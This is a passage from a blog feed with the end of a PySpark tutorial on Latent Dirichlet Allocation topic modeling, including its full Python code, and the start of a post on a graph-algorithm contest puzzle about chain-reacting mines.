&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        f&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;write(&lt;span style="color: #e6db74;"&gt;"Topic #&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{0}&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;format(i &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; j &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(len(topic_indices[i][&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;])):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            f&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;write(&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{0}&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\t&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{1}&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;format(inv_voc[topic_indices[i][&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;][j]] \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;encode(&lt;span style="color: #e6db74;"&gt;'utf-8'&lt;/span&gt;), topic_indices[i][&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;][j]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    f&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;write(&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{0}&lt;/span&gt;&lt;span style="color: #e6db74;"&gt; topics distributed over &lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{1}&lt;/span&gt;&lt;span style="color: #e6db74;"&gt; documents and &lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{2}&lt;/span&gt;&lt;span style="color: #e6db74;"&gt; unique words&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;format(num_topics, documents&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;count(), len(vocabulary)))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Obviously, you can take the output and do with it what you will, but here we will get an output file called &lt;code&gt;output.txt&lt;/code&gt; which will list each of our three topics that we are hoping to see. You can play around with the &lt;code&gt;num_topics&lt;/code&gt; to see how the model reacts, but since we know we have discussions that center around three distinct topics, we would have that having 3 topics would reflect that by clustering around words that align with each of those topics separately.&lt;/p&gt;
&lt;p&gt;The continuation of this is to gather &amp;ldquo;unlabeled&amp;rdquo; data (as much as this can be called labeled), and to use LDA to perform topic modeling on your newly found corpus. I&amp;rsquo;m still learning on how to go about that, but hopefully this has been of some help to anyone looking to get started with PySpark LDA.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="appendix-heres-the-code"&gt;Appendix: Here&amp;rsquo;s the code&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; collections &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; defaultdict
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; SparkContext
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark.mllib.linalg &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; Vector, Vectors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark.mllib.clustering &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; LDA, LDAModel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; pyspark.sql &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; SQLContext
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;import&lt;/span&gt; re
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;num_of_stop_words &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;50&lt;/span&gt;      &lt;span style="color: #75715e;"&gt;# Number of most common words to remove, trying to eliminate stop words&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;num_topics &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;3&lt;/span&gt;              &lt;span style="color: #75715e;"&gt;# Number of topics we are looking for&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;num_words_per_topic &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;10&lt;/span&gt;    &lt;span style="color: #75715e;"&gt;# Number of words to display for each topic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;max_iterations &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;35&lt;/span&gt;         &lt;span style="color: #75715e;"&gt;# Max number of times to iterate before finishing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Initialize&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;sc &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; SparkContext(&lt;span style="color: #e6db74;"&gt;'local'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'PySPARK LDA Example'&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;sql_context &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; SQLContext(sc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Process the corpus:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 1. Load each file as an individual document&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 2. Strip any leading or trailing whitespace&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 3. Convert all characters into lowercase where applicable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 4. Split each document into words, separated by whitespace, semi-colons, commas, and octothorpes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 5. Only keep the words that are all alphabetical characters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 6. Only keep words larger than 3 characters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;data &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; sc&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;wholeTextFiles(&lt;span style="color: #e6db74;"&gt;'newsgroup/files/*'&lt;/span&gt;)&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x: x[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;tokens &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; data \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; document: document&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;strip()&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;lower()) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; document: re&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;split(&lt;span style="color: #e6db74;"&gt;"[\s;,#]"&lt;/span&gt;, document)) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; word: [x &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; word &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; x&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;isalpha()]) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; word: [x &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; word &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; len(x) &lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;3&lt;/span&gt;] )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Get our vocabulary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 1. Flat map the tokens -&amp;gt; Put all the words in one giant list instead of a list per document&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 2. Map each word to a tuple containing the word, and the number 1, signifying a count of 1 for that word&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 3. Reduce the tuples by key, i.e.: Merge all the tuples together by the word, summing up the counts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 4. Reverse the tuple so that the count is first...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# 5. ...which will allow us to sort by the word count&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;termCounts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; tokens \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;flatMap(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; document: document) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; word: (word, &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;)) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;reduceByKey( &lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x,y: x &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; y) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; tuple: (tuple[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;], tuple[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;])) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;sortByKey(&lt;span style="color: #66d9ef;"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Identify a threshold to remove the top words, in an effort to remove stop words&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;threshold_value &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; termCounts&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;take(num_of_stop_words)[num_of_stop_words &lt;span style="color: #f92672;"&gt;-&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;][&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Only keep words with a count less than the threshold identified above, &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# and then index each one and collect them into a map&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;vocabulary &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; termCounts \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;filter(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x : x[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;] &lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt; threshold_value) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(&lt;span style="color: #66d9ef;"&gt;lambda&lt;/span&gt; x: x[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]) \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;zipWithIndex() \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;collectAsMap()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Convert the given document into a vector of word counts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;document_vector&lt;/span&gt;(document):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    id &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; document[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    counts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; defaultdict(int)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; token &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; document[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; token &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; vocabulary:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            token_id &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; vocabulary[token]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            counts[token_id] &lt;span style="color: #f92672;"&gt;+=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    counts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; sorted(counts&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;items())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    keys &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [x[&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;] &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; counts]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    values &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [x[&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;] &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; counts]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; (id, Vectors&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;sparse(len(vocabulary), keys, values))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Process all of the documents into word vectors using the &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# `document_vector` function defined previously&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;documents &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; tokens&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;zipWithIndex()&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(document_vector)&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;map(list)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Get an inverted vocabulary, so we can look up the word by it's index value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;inv_voc &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; {value: key &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; (key, value) &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; vocabulary&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;items()}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;# Open an output file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;with&lt;/span&gt; open(&lt;span style="color: #e6db74;"&gt;"output.txt"&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'w'&lt;/span&gt;) &lt;span style="color: #66d9ef;"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    lda_model &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; LDA&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;train(documents, k&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;num_topics, maxIterations&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;max_iterations)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    topic_indices &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; lda_model&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;describeTopics(maxTermsPerTopic&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;num_words_per_topic)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #75715e;"&gt;# Print topics, showing the top-weighted 10 terms for each topic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; i &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(len(topic_indices)):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        f&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;write(&lt;span style="color: #e6db74;"&gt;"Topic #&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{0}&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;format(i &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; j &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(len(topic_indices[i][&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;])):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            f&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;write(&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{0}&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\t&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{1}&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;format(inv_voc[topic_indices[i][&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;][j]] \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;encode(&lt;span style="color: #e6db74;"&gt;'utf-8'&lt;/span&gt;), topic_indices[i][&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;][j]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    f&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;write(&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{0}&lt;/span&gt;&lt;span style="color: #e6db74;"&gt; topics distributed over &lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{1}&lt;/span&gt;&lt;span style="color: #e6db74;"&gt; documents and &lt;/span&gt;&lt;span style="color: #e6db74;"&gt;{2}&lt;/span&gt;&lt;span style="color: #e6db74;"&gt; unique words&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #f92672;"&gt;.&lt;/span&gt;format(num_topics, documents&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;count(), len(vocabulary)))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description><author>Posts on Sean Lane</author><pubDate>Tue, 10 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2016/05/PySpark-and-Latent-Dirichlet-Allocation/</guid></item><item><title>Mines Chain Reaction</title><link>https://nickp.svbtle.com/chain-reaction</link><description>&lt;p&gt;This post is based on a question asked during the &lt;a href="http://ch24.org"&gt;Challenge 24&lt;/a&gt; programming competition. Given the locations of a number of land mines as &lt;code class="prettyprint"&gt;X&lt;/code&gt; and &lt;code class="prettyprint"&gt;Y&lt;/code&gt; coordinates and their blast radius &lt;code class="prettyprint"&gt;R&lt;/code&gt;. What is the minimum number of mines that need to be detonated such that all mines are detonated. When a mine is detonated it detonates all mines within its blast radius and the process repeats.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/vjovi2lxa0wryg.jpg"&gt;&lt;img alt="787881-landmine-1415477841-246-640x480.jpg" src="https://svbtleusercontent.com/vjovi2lxa0wryg_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here’s a simple example with &lt;code class="prettyprint"&gt;13&lt;/code&gt; mines. In this case the optimal solution is to detonate mines &lt;code class="prettyprint"&gt;0, 3&lt;/code&gt; and &lt;code class="prettyprint"&gt;8&lt;/code&gt; which will detonate all others. It’s not the only solution.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/epthtxszeqfnkg.png"&gt;&lt;img alt="Screenshot 2016-05-08 21.01.38.png" src="https://svbtleusercontent.com/epthtxszeqfnkg_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The relationship between mines is not commutative. Just because mines &lt;code class="prettyprint"&gt;A&lt;/code&gt; can reach mine &lt;code class="prettyprint"&gt;B&lt;/code&gt; doesn’t mean that mine &lt;code class="prettyprint"&gt;B&lt;/code&gt; reaches mine &lt;code class="prettyprint"&gt;A&lt;/code&gt;. Therefore we can represent the mines as a directed graph where vertices are mines and there is an (unweighted) edge from mine &lt;code class="prettyprint"&gt;A&lt;/code&gt; to mine &lt;code class="prettyprint"&gt;B&lt;/code&gt; if mine &lt;code class="prettyprint"&gt;A&lt;/code&gt; can directly detonate mine &lt;code class="prettyprint"&gt;B&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/bhqbdjirberg.jpg"&gt;&lt;img alt="graph.jpg" src="https://svbtleusercontent.com/bhqbdjirberg_small.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;
